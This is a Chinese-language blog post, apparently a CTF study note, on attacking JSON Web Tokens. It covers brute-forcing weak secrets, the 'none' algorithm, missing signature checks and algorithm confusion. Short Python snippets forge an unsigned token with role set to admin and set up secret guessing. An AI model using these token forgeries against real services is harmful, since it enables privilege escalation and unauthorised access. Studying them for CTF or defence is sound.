jwt入门学习
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了jwt入门学习相关的知识,希望对你有一定的参考价值。
目录:
jwt不难,问题是在,找打secret_key,这个比较难搞,
一、 jwt基础知识学习:
现代 web 应用中替代 cookie 表示用户身份凭证的载体。形式类似 base64,但使用了 base64 可用字符空间之外的点字符,且无法直接解码。HTTP 报文中一旦发现 JWT,应重点关注。一时没想起,这不就是现代 web 常用的 JWT 么,服务端对 JWT 实现不好,容易导致垂直越权。
比如,把第二段的 user 字段值从 nana 篡改 admin。但是,JWT 的签名(也就是上面的第三部分),是对信息头和数据两部分结合密钥进行哈希而得,服务端通过签名来确保数据的完整性和有效性,正因如此,由于我无法提供密钥,所以,篡改后的 token 到达服务端后,无法通过签名校验,导致越权失败
1.小trick
secret可能在404页面,或者其他奇奇怪怪的地方,这个要细心一点。
二、、攻击jwt的入门的几种方式
1. 爆破弱密钥:
这个就很简单,了,
https://blog.csdn.net/Zero_Adam/article/details/114101169
2. 禁用哈希,也就是不用secret-key
可惜了,没有成功,
但是这个题是成功的哦。。。
https://blog.csdn.net/Zero_Adam/article/details/114645263
3. 未校验签名,,,
这个最low,,,
可能 服务端就没有进行校验,,然后就成功了,,,,
可能性贼少,,,
三、使用python
3. python加密jwt
# -*- coding: utf-8 -*-
import jwt
token = jwt.encode(
{
# 这些都不是必须要的,都是我们传入的参数,
"secretid": 12,
"username": "admin",
"password": "penson"
},
# 加密算法 none, None nOne,使用none的时候,有时候JWT会对 大小写敏感,所以可以多试一试。
# 加密算法, 加密密钥
algorithm="none",key=""
)
print(token)
加密算法 none, None nOne,使用none的时候,有时候JWT会对 大小写敏感,所以可以多试一试。
加密算法,对称算法HS256,这个比较常见,可能有 弱密钥爆破,
非对称算法RS256.非对称算法,可以使用将非对称算法转换为对称算法的这个方法,来实践密钥的爆破。
4. python解密jwt
import jwt# 将上面生成的 jwt 进行解析认证
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ.DOOiRIK3kQgVcKba_HzzvgNYaPOQqCFQpy4eil_AOeM"
data = None
try:
print (1)
key="222" # 这里可以写爆破算法
# 需要解析的 jwt 密钥 使用和加密时相同的算法
data = jwt.decode(token, key, algorithms=['HS256'])
# 解析出来的就是 payload 内的数据
print(data) # 输出: {'name': 'admin'}
# 报错的会话,就把algorithms的列表去掉,
except Exception as e:
print ("error")
#如果 jwt 被篡改过; 或者算法不正确; 如果设置有效时间, 过了有效期; 或者密钥不相同; 都会抛出相应的异常
print(e)
输出结果:
注意:algorithms用的是数组里面放字符串的方法,
5. python爆破 jwt弱密码
一、配套学习CTFhub上的
1. 敏感信息泄露:
直接给了jwt。
eyJBRyI6ImEzZjk5NTAwYWFlN2QwZX0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJwYXNzd29yZCI6ImFzZGYiLCJGTCI6ImN0Zmh1YntkYTEyM2Q1NmYifQ.HXJ8OpGk8NcsQsxjTB13utXqpKqPWOc_IZrk_aSt0eI
但是用python脚本解密会出错,也对,需要解密密钥,但是我们 没有,然后python就会报错。,,那么就简单的base64解密,或者去jwt解密官网上去就好了。
2.无签名,,可能就是指的是加密算法为none把,可以多换一换
明示改成admin,,,
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJwYXNzd29yZCI6ImFzZGYiLCJyb2xlIjoiZ3Vlc3QifQ.J-nwCXxSmrQkZp7RIvGwKkSyF2iLN5efTFtz4n9YtSM
,,,python脚本解码,还是不行,,用python解码jwt,,看来就一定要是正确才行了。。还是就用其他的两个解码来吧,
提示无签名:
import jwt
token = jwt.encode(
{
# 这些都不是必须要的,都是我们传入的参数,
"role":"admin",
"username": "asdf",
"password": "asdf"
},
# 加密算法 none, None nOne,使用none的时候,有时候JWT会对 大小写敏感,所以可以多试一试。
# 加密算法, 加密密钥
algorithm="none",key=""
# algorithm=None 这样也行,也是可以的。
)
print(token)
这两个加密方法都是可以的。
换上就有了。但是还是有点问题。
3. 弱密钥
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJwYXNzd29yZCI6ImFzZGYiLCJyb2xlIjoiZ3Vlc3QifQ.9fjWGarRvndQru6uDV7mhTwEFGGknfPKQ3ZZWVcleOo
之前的工具有个爆破jwt的密钥的,,但是我没有jwt的密钥的字典啊 ,,,
4. 修改签名算法,
非对称算法,,就是不一样。
方法看这个:这个这个这个
以上是关于jwt入门学习的主要内容,如果未能解决你的问题,请参考以下文章